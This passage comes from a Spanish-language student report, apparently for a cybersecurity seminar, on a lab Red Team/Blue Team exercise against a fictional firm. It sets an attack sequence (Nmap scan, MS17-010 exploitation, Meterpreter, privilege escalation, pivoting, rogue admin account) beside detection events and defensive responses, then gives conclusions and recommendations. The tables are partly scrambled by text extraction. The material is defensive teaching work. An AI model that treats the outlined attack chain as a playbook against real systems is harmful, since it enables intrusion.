Proteccion post-explotacion (fallo real: trabajo del atacante como SYSTEM)
- Habilitar AppLocker o alternativa GPL — restringir ejecucion de payloads

- Implementar un EDR para detectar comportamiento de Meterpreter. (Balozian

& Leidner, 2017) (Krebs, 2018)



Tablas

Tabla 1

38

Comparacion entre Blue Team y CSIRT/CERT en el contexto del laboratorio

CSIRT / CERT

Caracteristica Blue Team
. Defensa continua, monitoreo
Rol Principal y
fortalecimiento preventivo.
Momento de Antes y durante la operacion
actuacion normal.

Hardening, alertas, SIEM,
vulnerabilidades, EDR.

Enfoque técnico

Relacion con el .
Debi6 detectar el escaneo SMB,

ataque del y o

) la explotacion y el pivoting.
laboratorio
Objetivo Final Prevenir y limitar exposicion.

Respuesta reactiva ante incidentes

confirmados.
Durante y después del incidente.

Contencidn, erradicacion, analisis

forense, recuperacion.

Se activaria tras la confirmacion del
compromiso de MV1y MV2.

Restaurar servicios, preservar
evidencia, coordinar acciones

legales.

Nota. Esta tabla muestra el contraste operativo entre equipos de defensa continua y equipos de

respuesta especializada, contextualizado con lo observado durante la simulacién Red Team-Blue

Team.
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Linea de tiempo del ataque y respuesta del Blue Team
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Minuto

Accién Red Team

Evidencia Etapa 3

Respuesta esperada de
Blue Team

00:01

00:03

00:04

00:06

00:08

00:10

Escaneo Nmap hacia
192.168.0.48
Explotacion MS17-010

— Session 1
Escalada a SYSTEM

Pivoting hacia
10.10.10.11
Creacion del usuario
admin
Consolidacion del

compromiso

SYN repetidos a 445 (Fig.
9)

Sesion Meterpreter (Fig.
10-11)

Evento 4672

Movimiento lateral (Fig.
12)

Eventos 4720 y 4732
(Fig. 14-16)

Detener escaneo, activar
alerta SIEM.

Aislar MV 1, cerrar PID
sospechoso

Auditoria de privilegios
elevados.

Bloquear SMB interno,
segmentar VLAN.
Eliminar usuario, revisar
persistencia.

Activar CSIRT, iniciar

andlisis forense.

Nota. Esta tabla permite visualizar la secuencia del ataque de manera ordenada, relacionando

evidencias objetivas con la respuesta defensiva ideal en un entorno profesional
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Evidencias de Sustentacion
En cumplimiento de los requisitos de la Etapa 5 del Seminario Especializado, se presenta
el video de sustentacion disponible en el siguiente enlace:

Video de sustentacién del informe final: https://youtu.be/lceAEqMCDaw



https://youtu.be/1ceAEqMCDaw

41

Conclusiones

Integracion Ofensiva-Defensiva (Purple Team): La simulacién demostré que la seguridad
de SecureNova Labs se vio comprometida debido a la falta de parches y la presencia de servicios
obsoletos (SMBV1). La ejecucion del Red Team fue fundamental para validar las defensas y
detectar brechas que una auditoria pasiva no habria revelado, reafirmando el valor de los
ejercicios de Purple Team (la colaboracion entre Red y Blue).

La Seguridad como Proceso Continuo: El éxito del ataque y el posterior pivoting
subrayan que la seguridad informatica es un proceso constante, no un estado final. El
mantenimiento de sistemas actualizados y correctamente endurecidos es la medida mas efectiva
para prevenir incidentes mayores.

Madurez en Respuesta a Incidentes: La capacidad de respuesta del Blue Team (Cranor,
2019). se mide por su rapidez en la contencion. La claridad en la distincion de roles entre el Blue
Team (defensa proactiva) y el CSIRT/CERT (gestion de crisis reactiva) es crucial para una
gestion de incidentes eficaz.

Etica y Legalidad como Fundamento: La aplicacion de conocimientos técnicos solo es
legitima cuando esta respaldada por un marco ético y legal robusto, como la Ley 1273 de 2009,
lo que asegura la confianza y la integridad de las operaciones de seguridad.

La simulacion demostro la importancia de integrar capacidades ofensivas y defensivas
para fortalecer la seguridad organizacional. EI compromiso exitoso por parte del Red Team
evidencid fallas significativas en la gestion de vulnerabilidades, segmentacién de red y
monitoreo. El analisis del Blue Team resalt6 la necesidad de mejorar los tiempos de deteccion y
contencidn, asi como de incorporar herramientas SIEM y EDR para lograr una visibilidad

continua. Finalmente, el marco ético y legal reafirma que toda actividad técnica debe ejecutarse
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de manera responsable, controlada y con autorizacion expresa, asegurando que las capacidades

adquiridas se utilicen exclusivamente para proteger la infraestructura de SecureNova Labs
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Recomendaciones
Implementar un programa formal de Purple Team para sincronizar tacticas ofensivas y

defensivas.

Mapear de forma continua ataques reales y simulados utilizando el marco MITRE
ATT&CK.

Integrar ejercicios de ingenieria social en futuras pruebas.

Establecer un ciclo de gestion de vulnerabilidades robusto con aplicacion inmediata de
parches criticos

Implementar un SIEM que permita correlacion en tiempo real y deteccion de 10Cs

Fortalecer el control de acceso mediante RBAC y el principio de minimo privilegio.

Segmentar adecuadamente la red para evitar movimiento lateral

Capacitar al personal en respuesta a incidentes, forense inicial y deteccion temprana
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